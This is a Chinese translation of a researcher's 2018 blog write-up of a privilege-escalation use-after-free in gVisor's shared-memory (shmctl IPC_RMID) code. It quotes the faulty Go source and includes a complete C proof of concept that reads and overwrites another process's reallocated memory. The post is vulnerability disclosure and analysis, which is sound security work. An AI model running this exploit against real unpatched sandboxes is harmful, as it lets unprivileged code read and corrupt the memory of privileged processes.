gVisor容器沙箱中的权限提升漏洞分析

本文详细分析了Google gVisor容器沙箱中存在的权限提升漏洞,通过共享内存实现中的引用计数错误,低权限进程可读写高权限进程内存,包含漏洞代码分析和概念验证演示。

gVisor容器沙箱中的权限提升漏洞

作者:Max Justicz
日期:2018年11月14日

漏洞概述

gVisor是Google为运行不完全可信代码的容器提供的沙箱技术。它是一个在用户空间运行的Linux内核Golang重新实现,拦截容器系统调用并限制直接接触主机内核。我发现gVisor的共享内存实现存在一个问题,允许沙箱中的非特权进程读取和写入沙箱中其他更高特权进程的内存,包括以root身份运行的进程。

漏洞细节

释放后映射(Mapped-after-free)

gVisor在其内部内存管理的各个部分使用引用计数,该漏洞允许我们降低支持shmget共享内存区域的"平台"内存的引用计数,即使我们仍然在进程的虚拟地址空间中拥有对其的映射。然后,支持内存被回收并交给另一个(可能更具特权的)进程,在那里它可以用于其他用途。这个漏洞基本上是一个释放后使用(use-after-free)问题。

问题源于sys_shm.go中实现shmctl系统调用的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
func Shmctl(t *kernel.Task, args arch.SyscallArguments) (uintptr, *kernel.SyscallControl, error) {
  id := args[0].Int()
  cmd := args[1].Int()
  buf := args[2].Pointer()
...
  switch cmd {
...
  case linux.IPC_RMID:
    segment.MarkDestroyed()
    return 0, nil, nil

segment.MarkDestroyed()无条件地减少共享内存对象的引用计数,最终在shm.go中减少平台内存范围本身的引用计数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
func (s *Shm) destroy() {
  s.registry.remove(s)
  s.p.Memory().DecRef(s.fr)
}

func (s *Shm) MarkDestroyed() {
  s.mu.Lock()
  defer s.mu.Unlock()
  // 防止在注册表中找到该段
  s.key = linux.IPC_PRIVATE
  s.pendingDestruction = true
  // 当引用计数变为负数时,上面的destroy()将被调用
  s.DecRef() 
}

因此,如果s.fr范围内的平台内存区域的引用计数为1,并且我们调用shmctl(shmid, IPC_RMID, NULL)直到触发Shm对象的销毁,那么该支持内存可以被内核回收以供其他进程使用。

当我们最初使用shmget()创建共享内存对象时,平台内存的引用计数初始化为1,但在内存被访问和页面错误时增加到2。因此,如果在触发DecRef()错误之前读取或写入映射的共享内存区域,利用就会变得更加困难。

概念验证代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/shm.h>
#include <unistd.h>

#define SHMKEY 1234567
#define SHMSIZE ((size_t) 4096)

int main()
{
  // 分叉一个进程,分配包含字符串'OOPS'的大量内存,
  // 如果在该字符串中找到'A'字节(表示内存已被其他进程覆盖),则退出
  if (fork() == 0) {
    sleep(1);
    execl("/usr/bin/python3", "python", "-c", "x = 'OOPS'\n"
                                              "while True:\n\t"
                                                "x += 'OOPS'\n\t"
                                                "if 'A' in x:\n\t\t"
                                                  "print('\\n\\n***Other process: memory was overwritten***')\n\t\t"
                                                  "exit(0)\n", NULL);
    return 0;
  }

  // 创建可读写的共享内存区域
  int shmid = shmget(SHMKEY, SHMSIZE, IPC_CREAT | 0600);

  // 将共享内存映射到我们的虚拟地址空间
  volatile unsigned char *shmm = shmat(shmid, NULL, 0);

  printf("shmm addr: %p\n", shmm);
  printf("Decreasing refcount\n");

  // 通过释放支持共享内存的平台内存来触发我们的错误
  shmctl(shmid, IPC_RMID, NULL);
  shmctl(shmid, IPC_RMID, NULL);

  // 给Python进程一些时间来使用内存
  sleep(2);

  printf("Allocation from another process:\n");

  // 打印页面中的一些字节,这些字节可能已分配给Python进程的大字符串
  for (size_t i = 0; i < 200; i++) {
    if (i % 20 == 0) {
      printf("\n");
    }
    if (shmm[i] != 0) printf("\x1B[32m");
    printf("%02X ", shmm[i]);
    if (shmm[i] != 0) printf("\x1B[0m");
    fflush(stdout);
  }

  // 演示我们可以覆盖其他进程的内存。另一个进程一旦检测到我们用0x41覆盖了部分字符串,就会退出
  memset((char *)shmm, 0x41, SHMSIZE);

  // 睡眠几秒钟,以免立即恐慌
  sleep(2);

  // 当进程退出时,内核将尝试DecRef一个引用计数已经为负的对象,因此它会恐慌
  printf("\nTime to panic...\n");

  return 0;
}

结论

gVisor是一个编写良好但极其雄心勃勃的项目;重新实现Linux内核是困难的。我一直在思考一些可以检测和缓解这类错误的方法。也许当内存区域的DecRef()减少到0时,内核可以检查它是否不存在于任何进程的虚拟地址空间中。我不确定这是否会太昂贵。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计